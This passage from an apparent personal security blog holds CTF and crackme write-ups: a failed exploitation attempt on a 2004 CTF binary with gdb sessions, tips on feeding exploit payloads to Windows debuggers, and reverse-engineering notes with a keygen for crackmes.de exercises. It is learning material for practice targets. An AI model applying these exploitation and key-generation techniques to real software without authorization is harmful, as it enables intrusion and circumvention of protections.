    m.rungdb()
else:
    m.pwn()

Finally, just run this while redirecting stdin, and if the environment’s right, you should get code execution.

Stage 10

This is the only one I wasn’t able to exploit. I’m not sure this one is exploitable on my Backtrack 5 R2 distro, but I’d love any feedback. There are two exploit paths I can see, and neither one of them has panned out. I eventually gave up because this is something that easily could have been exploitable on their system but not mine, especially since this CTF is from 2004.

First, notice there’s this signal call.

.text:080484F7 push    0Ah             ; handler
.text:080484F9 push    0Ah             ; sig
.text:080484FB call    _signal

when the program is sent a signal (e.g. kill -10), this tells it to start executing code in location 10.

Additionally, the strcpy in 08048516 allows us to overwrite everything on the stack, including the local variables (e.g. the return value of the malloc). Because of this we have an arbitrary overwrite here:


.text:08048520 mov     edx, [ebp+var_malloced]
.text:08048523 mov     eax, edx
.text:08048525 mov     edx, [ebp+arg_4]
.text:08048528 add     edx, 8
.text:0804852B mov     ecx, [edx]
.text:0804852D mov     ebx, ecx
.text:0804852F mov     cl, [ebx]
.text:08048531 mov     [eax], cl       ; eax is var_malloced + counter, cl is also controlleable
.text:08048533 inc     dword ptr [edx]
.text:08048535 inc     [ebp+var_malloced]
.text:08048538 test    cl, cl
.text:0804853A jnz     short loc_804

I’ve ignored the details for now, but it’s clear we can overwrite arbitrary memory with our controlled values. The problem is that immediately after this overwrite there is an infinite loop.

Before trying an exploit in order to simplify things, I tried the following in gdb to see what was possible.

The first thing I tried was to overwrite 0x0000000A. If we could put shellcode here then it would execute when we send our kill. 0x00000000 does seem to be a valid userspace address. For example, we can mmap memory there:

#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

int map_null_page(void) {
	void* mem = (void*)-1;
	size_t length = 100;
	mem = mmap (NULL, length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
	if (mem != NULL) {
		printf("failed\n");
		fflush(0);
		perror("[-] ERROR: mmap");
		return 1;
	}
}

int main (void) {
	map_null_page();
	printf("made it");

}

Setting a breakpoint at the end of this test program, sure enough 0x00 was allocated. Unfortunately, to make use of this memory it has to be mapped. Because mmap can do it, theoretically so can malloc. But if we just try to write to 0 the program will segfault.

Program received signal SIGSEGV, Segmentation fault.
0x08048531 in ?? ()
(gdb) x/i $eip
=> 0x8048531:	mov    %cl,(%eax).
(gdb) info registers
eax            0x0	0
ecx            0xbfffd842	-1073751998
...

I played around with mallocing large sizes (~3GB). This produces out of memory return values (malloc returns 0 when oom), but it would still segfault when I tried to write to 0.

So stepping back, I was trying to figure out how signal kept track of the signal handler. If it’s stored in writable memory, I have an arbitrary overwrite so I could just overwrite that and win. This looked even more promising when I looked at the man 7 signal page:

A process can change the disposition of a signal using sigaction(2) or signal(2). (The latter is less portable when establishing a signal handler; see signal(2) for details.) Using these system calls, a process can elect one of the following behaviors to occur on delivery of the signal: perform the default action; ignore the signal; or catch the signal with a signal handler, a programmer-defined function that is automatically invoked when the signal is delivered. (By default, the signal handler is invoked on the normal process stack. It is possible to arrange that the signal handler uses an alternate stack; see sigaltstack(2) for a discussion of how to do this and when it might be useful.)

This would be great! If the signal function is stored on the process stack, I could overwrite that and win! I compiled a test program


#include <string.h>
#include <unistd.h>
#include <signal.h>

int main (void) {
	int a;
	signal(0xA, 0x47474747);
	while(1) {
	}
}

I attached to the program and searched for 0x47474747, then replaced these with 0x48484848. The idea is if this information really is just in the normal stack then we could overwrite it, and then we win. I was hoping for a segfault at 0x48484848 here (not 0x47474747)

(gdb) list main
2	#include <unistd.h>
3	#include <signal.h>
4	
5	
6	
7	int main (void) {
8		int a;
9		signal(0xA, 0x47474747);
10		printf("made it");
11		while(1) {
(gdb) break 10
Breakpoint 1 at 0x8048431: file signal.c, line 10.
(gdb) run
Starting program: /root/Desktop/defcon/10/test/signal 

Breakpoint 1, main () at signal.c:10
10		printf("made it");
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) n
Program not restarted.
(gdb) shell ps
  PID TTY          TIME CMD
 3125 pts/0    00:00:00 bash
 3280 pts/0    00:08:01 signal
 3379 pts/0    00:00:00 gdb
 3382 pts/0    00:00:00 signal
 3387 pts/0    00:00:00 ps
(gdb) shell cat /proc/3382/maps 
...
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) set {int}0xbffff248=0x48484848
(gdb) set {int}0xbffff380=0x48484848
(gdb) set {int}0xbffff424=0x48484848
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747
Pattern not found.
(gdb) find /w 0xbffdf000, 0xbfffffff, 0x48484848
0xbffff248
0xbffff380
0xbffff424
3 patterns found.
(gdb) continue
Continuing.

Program received signal SIGUSR1, User defined signal 1.
main () at signal.c:12
12		}
(gdb) stepi
0x47474747 in ?? ()
(gdp) print $eip
$1 = (void (*)()) 0x47474747

Boo, so that also didn’t work. I also tried memfetch with no additional stuff 0x47474747 stored in writable memory.

In summary, I’ve tried to write directly to address 0xA, and I’ve tried to overwrite the signal handler, but neither seems to have worked. So with this problem I’m stuck. I’m tempted to download Debian 2004 and give it another try. If I do figure it out there (or if I hear any feedback from people who figure out something I missed), I’ll update this post with the solution.

Redirecting STDIN on windbg

I learned how to use gdb on Linux before I knew anything about debugging on Windows. In those days, some of the first memory manipulation problems I tried were these one: http://community.corest.com/~gera/InsecureProgramming/. An example is stack2:

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020305)
		printf("you win!\n");
}

This is a very easy problem, but imagine it’s difficult enough that it’s hard to figure out in your head and imagine how you might solve it (or see what’s going on) using a debugger. With Linux this solution might looks something like:

gdb stack2
(gdb) run < payloadfile

Where payloadfile might be programmatically generated and have a bunch of special characters with shellcode and whatnot.

Programs that process STDIN are a lot rarer in the Windows world, but they certainly exist. Debugging this under Windows is also a slightly more difficult problem. With some common debuggers like Ollydbg or cygwin’s gdb I’m not sure redirecting STDIN from a file is possible. Last year I asked on openrce and didn’t get a response: http://www.openrce.org/forums/posts/1859.

Solution 1: Following Children

What I ended up doing in my ‘real’ problem is attaching the debugger to cmd.exe and following the child process (this is not the default). This solution is nice, in that it also should work with stdout type things you’d want to do with windbg.

0:001> .childdbg
Processes created by the current process will not be debugged
0:001> .childdbg 1
Processes created by the current process will be debugged

Now the process will break when cmd spawns the child. So in cmd you can simply.

stack2.exe < payloadfile

After the breakpoint, you can do an lm to see our image is loaded and run as normal. A more concise one liner to doing this would be (note: there’s a kb article, but they leave out the /o option which tells the debugger to follow children… so is kinda important).

windbg /o cmd.exe /c "stack2.exe < payloadfile"

This is one of many reasons being able to attach to children processes is a must for me in using a debugger. Too bad a lot of good debuggers (e.g. ollydbg1, cygwin gdb, immunitydbg) don’t support following child processes. A solution I’ve seen more than once is to actually patch the executable and put it to sleep, just so you can attach to the process (e.g. https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/). If it works, great, but it seems like a kludge – and when you start debugging complicated server applications this approach doesn’t seem practical.

Solution 2: Crash Dump

In linux, analyzing the crash might give enough information to debug an exploit without having to attach to a debugger at the start. This isn’t the same as redirecting STDIN, but at the same time, it might have most of the information you need.

$ ulimit -c unlimited
$ ./stack2 < payloadfile
SEGFAULT
$ gdb ./stack2 core

Doing something similar in Windows, you can set windbg (or a lot of other things including olly, gdb) as the default SEH debugger. In windbg you can do this by just using the -I arg.

> windbg -I

This is great for most realistic scenarios, but depending on how the program was compiled it may not always work. For example, cygwin generates a stacktrace and there isn’t a normal crash (keep this in mind when fuzzing cygwin compiled things – you might not be detecting crashes correctly). How to debug these on a crash varies, but in cygwin’s case you can attach gdb on the error by setting the CYGWIN configuration error_start parameter like this: export CYGWIN=”$CYGWIN error_start=gdb -nw %1 %2″

Reverseme – very very easy Linux

This would probably be a good place to start if you’ve never reversed anything before.  Too easy for my taste though, and I’m just a beginner.

To try it, see http://crackmes.de/users/cyrex/linux_crackme/

With an objdump, you can see the strcmp is called right after scanf asks for the password.

The password is hard coded.  It is pushed from 0x80486a3.  Revealing what it is is as simple as starting up gdb and typing x/s 0x80486a4.  It is also revealed with the strings command or a hexdump.

Reverseme – Trivial Linux

This one is pretty darn easy. It’s written in assembly, it’s very small.

You can download the executable at this link:  crackme2

The tricky part on this one was all the weird assembly instruction which I’m not used to. For example, there’s no printf, it’s done with system calls. Anyway, witha debugger it was really easy to figure out what the password is, because it loads it into memory right before it compares it to what you entered. I basically used the same tools as in this one.

Anyway, here’s a disassembly with notes:

Disassembly of section .text:

08048080 <.text>:
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 f8 90 04 08 mov $0x80490f8,%ecx ; password
804808f: ba 0d 00 00 00 mov $0xd,%edx
8048094: cd 80 int $0x80 ;print it out probably
8048096: ba 00 01 00 00 mov $0x100,%edx
804809b: b9 1b 91 04 08 mov $0x804911b,%ecx
80480a0: bb 00 00 00 00 mov $0x0,%ebx
80480a5: b8 03 00 00 00 mov $0x3,%eax
80480aa: cd 80 int $0x80 ;input the junk probably
80480ac: be 26 91 04 08 mov $0x8049126,%esi ;”QTBXCTU”
80480b1: 89 f7 mov %esi,%edi
80480b3: 31 db xor %ebx,%ebx
80480b5: fc cld ;clear the direction flag
#break
80480b6: ac lods %ds:(%esi),%al ;load string, 81 to al
80480b7: 34 21 xor $0x21,%al
80480b9: aa stos %al,%es:(%edi) ; string store
80480ba: 43 inc %ebx
80480bb: 81 fb 07 00 00 00 cmp $0x7,%ebx
#while ebx!=7
80480c1: 74 02 je 0x80480c5
80480c3: e2 f1 loop 0x80480b6
#break 7
80480c5: be 1b 91 04 08 mov $0x804911b,%esi ;user pass
80480ca: bf 26 91 04 08 mov $0x8049126,%edi ;pucybut
80480cf: b9 07 00 00 00 mov $0x7,%ecx
80480d4: fc cld
80480d5: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)
#break 8
80480d7: 75 16 jne 0x80480ef
80480d9: b8 04 00 00 00 mov $0x4,%eax
80480de: bb 01 00 00 00 mov $0x1,%ebx
80480e3: b9 05 91 04 08 mov $0x8049105,%ecx
80480e8: ba 16 00 00 00 mov $0x16,%edx
80480ed: cd 80 int $0x80
80480ef: b8 01 00 00 00 mov $0x1,%eax
80480f4: cd 80 int $0x80

I didn’t read through most of this very carefully. The important stuff is here:
80480c5: be 1b 91 04 08 mov $0x804911b,%esi ;user pass
80480ca: bf 26 91 04 08 mov $0x8049126,%edi ;pucybut
80480cf: b9 07 00 00 00 mov $0x7,%ecx
80480d4: fc cld
80480d5: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)

In gdb, you can see this by going x 0x8049126, which contains pucybut.

Readelf – a sexy little elf

Problem

From crackmes.de

  • Get a working key/keygen.
  • Allowed are only GPLed-tools.
  • Patching/Hijacking prohibited ;)

You can get the executable at http://crackmes.de/users/lagalopex/cm1/ or I’ve mirrored it here.

Now, I know what you’re thinking, but no cheating and looking at the solutions without giving it a whirl or I WILL murder ball you. You DONT want to find out what that means.

objdump

objdump is pretty limited, but it does what you need. Fine for dissasembly.

$objdump -D ./cm1 > textfileiusetomakenotes

If you’re hard core you’ll only use objdump.

gdb

gdb is a debugger. You also could just use this as a disassembler since it disassembles, but that’s just not the way I roll.

Some useful commands off the top of my head:

-break <memlocation> – set breakpoints throughout your program
-run/continue – ironically these actually mean walk/stop
-disassemble <memlocation> – disasemble the code at a memory location or label
-info registers – display the values in most the registers
-x *0x1234567 – display the contents of what’s at 0x1234567. Also related is x $eax which will display eax. Useful because you can do things like x $ebp+8 to view offsets of different registers. Another thing you can do is specify a data type, like for ints it would be x/i.

Assembly Notes

Now I have written a bit of code in assembly before, but reversing is a whole new ballgame.

Some things that took me awhile to wrap my mind around:

-Interleaving instructions are everywhere, although it makes sense when considering an ia36 processor
-Weird (to me) optimizations. Some ones that are extremely common ones I noticed are:
-xor %eax, %eax (set eax to 0) this is apparently faster than mov 0x0,%eax
-The only difference between cmp and sub is that sub stores a value. They both can set the ZF
-test %eax,%eax is just short for see if eax is 0
-It’s easier to try to guess at conditionals than it is to follow the gotos

Solution

Where to begin?

cm1 is looking at a file called /home/username/.key_username for a valid key. A valid key is ascii text that has the following properties:

esi must equal the ascii value of the current letter in the username, username[i]
esi is modified by the following symbols

* means esi+=5
/ means esi-=5
- means esi–
+ means esi++

In the keyfile, you will have a series of these symbols to make esi equal to username[i], then a comma, then username[i]. Some caveats are:

a symbol repeated > 5 times makes the key invalid. ie ***** is not allowed.
after every iteration, esi = esi/username[i]

So a valid key for a user lundeen is (with no white space):

****+-****+-****+-****+-****+-*+++,l****+-****+-****+-****+
-****+-*++,u****+-****+-****+-****+-***++++,n****+-****+-
****+-****+-*++++,d****+-****+-****+-****+-**+,e****+-****+-
****+-****+-**+,e****+-****+-****+-****+-***+++++,n

Easy as pie.

Here is my disassembly with the notes I made as I figured out these facts. My comments are hashed #

080484d4 <main>:
80484d4: 8d 4c 24 04 lea 0x4(%esp),%ecx
80484d8: 83 e4 f0 and $0xfffffff0,%esp
80484db: ff 71 fc pushl 0xfffffffc(%ecx)
80484de: 55 push %ebp
80484df: 89 e5 mov %esp,%ebp
80484e1: 57 push %edi
80484e2: 56 push %esi
80484e3: 53 push %ebx
80484e4: 51 push %ecx
80484e5: 81 ec 28 10 00 00 sub $0x1028,%esp

#Get the username, return to %eax
80484eb: e8 f0 fe ff ff call 80483e0 <getuid@plt>
80484f0: 83 ec 0c sub $0xc,%esp

#call getpwuid with %eax as an arg returns a struct <password>
80484f3: 50 push %eax
80484f4: e8 a7 fe ff ff call 80483a0 <getpwuid@plt>

80484f9: 89 85 d8 ef ff ff mov %eax,0xffffefd8(%ebp)

80484ff: 5e pop %esi
8048500: 5f pop %edi

#push what %eax is pointing to, the username
8048501: ff 30 pushl (%eax)
8048503: 31 f6 xor %esi,%esi

#Hello, %s, let’s seen what you’ve done so far
8048505: 68 50 87 04 08 push $0x8048750
804850a: e8 c1 fe ff ff call 80483d0 <printf@plt>

804850f: 8b 85 d8 ef ff ff mov 0xffffefd8(%ebp),%eax
8048515: 5b pop %ebx

#%ebx is 0x8048750

8048516: 8d 9d ee ef ff ff lea 0xffffefee(%ebp),%ebx

#%ebx is now 0xbfdcc6a6 or which is a memory address that contains a “”
#This is a negative number
#below, ebx is sort of an iterator. It’s initially set to 1 below

804851c: ff 30 pushl (%eax); the username?
804851e: ff 70 14 pushl 0x14(%eax); working directory
8048521: 68 7f 87 04 08 push $0x804877f ; %s/.key_%s
8048526: 68 01 10 00 00 push $0x1001 ;1001
804852b: 53 push %ebx


#snprintf(*str (ebx), 1001(size),/home/lundeen/.key_lundeen)
804852c: e8 bf fe ff ff call 80483f0 <snprintf@plt>

8048531: 83 c4 18 add $0x18,%esp
8048534: 6a 00 push $0x0
8048536: 53 push %ebx
8048537: e8 c4 fe ff ff call 8048400 <open@plt>

#open(/home/lundeen/.key_lundeen,0)
#the 0 flag indicates read only
#the open function returns a -1 if an error occurs
804853c: 83 c4 10 add $0x10,%esp

#if there is no file or permissions are not set, this cmp is true
804853f: 83 f8 ff cmp $0xffffffff,%eax

8048542: 89 c7 mov %eax,%edi
8048544: ba 01 00 00 00 mov $0x1,%edx
8048549: c6 85 d3 ef ff ff 20 movb $0x20,0xffffefd3(%ebp)
8048550: c7 85 d4 ef ff ff 00 movl $0x0,0xffffefd4(%ebp)
8048557: 00 00 00

#if -1 != eax meaning if there is no error, jump to 804863c
804855a: 0f 85 dc 00 00 00 jne 804863c <main+0x168>
#else jump to 8048682
8048560: e9 1d 01 00 00 jmp 8048682 <main+0x1ae>

—->jmp if there is more than the end of file in the file
#From below, if there is something in the file, jump to here
#eax should be 0 to begin with

#move the last character on the file to %dl then the eax
8048565: 8a 55 ef mov 0xffffffef(%ebp),%dl
8048568: 89 d0 mov %edx,%eax
804856a: 88 95 df ef ff ff mov %dl,0xffffefdf(%ebp)
8048570: 83 e8 2a sub $0x2a,%eax

8048573: 3c 05 cmp $0x5,%al

#ja is jump if greater than (unsigned)
#804867d is the end of the program
#if(eax is * + , – . or /)
8048575: 0f 87 02 01 00 00 ja 804867d <main+0x1a9>
804857b: 0f b6 c0 movzbl %al,%eax
#this jump is hit
#%eax is * + , – . / because ja is unsighned
#jum at the 0x0487a4 + eax*4
#x/x6 *0x80487a4 =
#0x80487a4: (*)0x0804858f (+)0x08048585 (,)0x080485bc (-)0x0804859b
#0x80487b4: (.)0x0804867d (/)0x080485a5

#esi seems to be given an initial value of 0
804857e: ff 24 85 a4 87 04 08 jmp *0x80487a4(,%eax,4)
#if the char is +
#esi++
8048585: 46 inc %esi
#compare to the previous byte read 0xfffefd3
8048586: 80 bd d3 ef ff ff 2b cmpb $0x2b,0xffffefd3(%ebp)
804858d: eb 20 jmp 80485af <main+0xdb>

#if the char is *
#esi +=5
804858f: 83 c6 05 add $0x5,%esi
8048592: 80 bd d3 ef ff ff 2a cmpb $0x2a,0xffffefd3(%ebp)
8048599: eb 14 jmp 80485af <main+0xdb>

#if the char is -
#esi–
804859b: 4e dec %esi
804859c: 80 bd d3 ef ff ff 2d cmpb $0x2d,0xffffefd3(%ebp)
80485a3: eb 0a jmp 80485af <main+0xdb>

#if the char is /
#esi -=5
80485a5: 83 ee 05 sub $0x5,%esi
80485a8: 80 bd d3 ef ff ff 2f cmpb $0x2f,0xffffefd3(%ebp)

–>all punctuation ends up here

#if the value above is not the same as the previous byte?
#if it’s not the same jump to the start of the loop below
#AND set ebx (the counter) back to 1. This means you can’t have > 5
#of the same thing in a row
80485af: 75 7a jne 804862b <main+0x157>

80485b1: 43 inc %ebx
80485b2: 83 fb 05 cmp $0x5,%ebx

#if 5 >= ebx (ebx is incremented above and set to 1 below)
#looks like this reads another char and repeats
80485b5: 76 79 jbe 8048630 <main+0x15c>
#else if 5<ebx
#then exit
80485b7: e9 c1 00 00 00 jmp 804867d <main+0x1a9>

#if the char is a comma, we’re done manipulating edi
#break 3
80485bc: 51 push %ecx
80485bd: 8d 4d ef lea 0xffffffef(%ebp),%ecx
80485c0: 6a 01 push $0x1
80485c2: 51 push %ecx
80485c3: 57 push %edi
#read another byte from the file
80485c4: e8 47 fe ff ff call 8048410 <read@plt>
80485c9: 83 c4 10 add $0x10,%esp
80485cc: 48 dec %eax
#eax is now equal to zero if it’s not the end of the file
#if it is the end of the file then end the program
80485cd: 0f 85 aa 00 00 00 jne 804867d <main+0x1a9>

#eax should be the last char just read
80485d3: 0f b6 45 ef movzbl 0xffffffef(%ebp),%eax

#if esi is == to char just read (else exit)
80485d7: 39 f0 cmp %esi,%eax
80485d9: 0f 85 9e 00 00 00 jne 804867d <main+0x1a9>
#eax and ecx have something to do with getpuid(), probably
#pointers to the username
80485df: 8b 85 d8 ef ff ff mov 0xffffefd8(%ebp),%eax
80485e5: 8b 8d d4 ef ff ff mov 0xffffefd4(%ebp),%ecx
80485eb: 8b 10 mov (%eax),%edx
80485ed: 0f be 04 0a movsbl (%edx,%ecx,1),%eax

#if eax isequal to esi else exit
#eax is the current username letter
80485f1: 39 c6 cmp %eax,%esi
80485f3: 0f 85 84 00 00 00 jne 804867d <main+0x1a9>

80485f9: 41 inc %ecx
80485fa: 89 8d d4 ef ff ff mov %ecx,0xffffefd4(%ebp)

#if there are no more letters in the username
8048600: 80 3c 0a 00 cmpb $0x0,(%edx,%ecx,1)
8048604: 75 14 jne 804861a <main+0x146>
8048606: 52 push %edx
8048607: 8d 45 ef lea 0xffffffef(%ebp),%eax
804860a: 6a 01 push $0x1
804860c: 50 push %eax
804860d: 57 push %edi
804860e: e8 fd fd ff ff call 8048410 <read@plt>
#break 5
8048613: 83 c4 10 add $0x10,%esp
#break 4
8048616: 85 c0 test %eax,%eax
#break 2
#if eax is not equal to zero then end program
#if there are no more stuff in the file
8048618: 75 63 jne 804867d <main+0x1a9>

#else
804861a: ba 0a 00 00 00 mov $0xa,%edx
#break 3
804861f: 89 f0 mov %esi,%eax
8048621: 89 d1 mov %edx,%ecx
8048623: 31 d2 xor %edx,%edx
8048625: f7 f1 div %ecx
8048627: 89 c6 mov %eax,%esi
#edx ->0; ecx-> 10; eax ->esi
#esi = esi/10
8048629: eb 05 jmp 8048630 <main+0x15c>
#this may needs to be hit at least once every five times so the loop can repeat
804862b: bb 01 00 00 00 mov $0x1,%ebx
8048630: 8a 85 df ef ff ff mov 0xffffefdf(%ebp),%al
8048636: 88 85 d3 ef ff ff mov %al,0xffffefd3(%ebp)

—->
#jump here if the file exists
804863c: 50 push %eax
804863d: 8d 45 ef lea 0xffffffef(%ebp),%eax
#%eax is 0xbfdcd6a7 which is the buffer where the previous byte will be stored

#the read function
8048640: 6a 01 push $0x1
8048642: 50 push %eax

#eax is 0xbfa20767
8048643: 57 push %edi
8048644: e8 c7 fd ff ff call 8048410 <read@plt>
#read(file discriptor(6),0xbfa20767 or whatever(buffer),size(1 byte))
#number of bytes read is returned, 0 indicates eof

#eax is now the size of the number of bytes returned
#the value read is stored in (hopefully 0xbfdcd6a7)

8048649: 83 c4 10 add $0x10,%esp
804864c: 48 dec %eax
#numbytes read–, it should probably be zero at this point, and ZF is set

#if the file was empty or an eof marker was received continue
#else je is true, so jump on up
804864d: 0f 84 12 ff ff ff je 8048565 <main+0x91>

8048653: 8b 95 d8 ef ff ff mov 0xffffefd8(%ebp),%edx
8048659: 8b 8d d4 ef ff ff mov 0xffffefd4(%ebp),%ecx
804865f: 8b 02 mov (%edx),%eax
8048661: 31 d2 xor %edx,%edx
8048663: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1)
8048667: 75 19 jne 8048682 <main+0x1ae>
8048669: 83 ec 0c sub $0xc,%esp
804866c: 68 8a 87 04 08 push $0x804878a
8048671: e8 3a fd ff ff call 80483b0 <puts@plt>
8048676: 31 d2 xor %edx,%edx
8048678: 83 c4 10 add $0x10,%esp
804867b: eb 05 jmp 8048682 <main+0x1ae>
804867d: ba 02 00 00 00 mov $0x2,%edx

8048682: 8d 65 f0 lea 0xfffffff0(%ebp),%esp
8048685: 89 d0 mov %edx,%eax
8048687: 59 pop %ecx
8048688: 5b pop %ebx
8048689: 5e pop %esi
804868a: 5f pop %edi
804868b: c9 leave
804868c: 8d 61 fc lea 0xfffffffc(%ecx),%esp
804868f: c3 ret

After figuring out how it works, it really is easy to make a keygen. I wrote this in C++

#include <fstream>
#include <iostream>
#include <string>
using namespace std;

#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>


int main()
{
string username = getlogin();
cout<<username<<endl;
string key = “”;

int esi = 0;
for(int i=0; i<username.length(); i++)
{
int num = 0;
num += esi;
for(;num < username[i]-20; num+=20){
key += “****+-“;}
for(;num < username[i]-5; num+=5){
key += “*”;}
for(;num < username[i]; num++){
key += “+”;}

key = key + “,” + username[i];

esi = username[i]/10;
}

string writefile = “/home/” + username + “/.key_” + username;
//cout<<writefile<<endl;
ofstream fout;
fout.open(writefile.c_str());
fout<<key;
fout.close();

return 0;
}

Conclusions

This was a lot of fun! I think I’ll try to do one of these from crackmes.de more often. A little hard though. This was rated at 1 which is the easiest, and I think 1 should be easier. cm1 definitely took me a long time to figure out. I’d say this is more like a 3 (the ranking is out of 10).

Follow

Get every new post delivered to your Inbox.

Join 34 other followers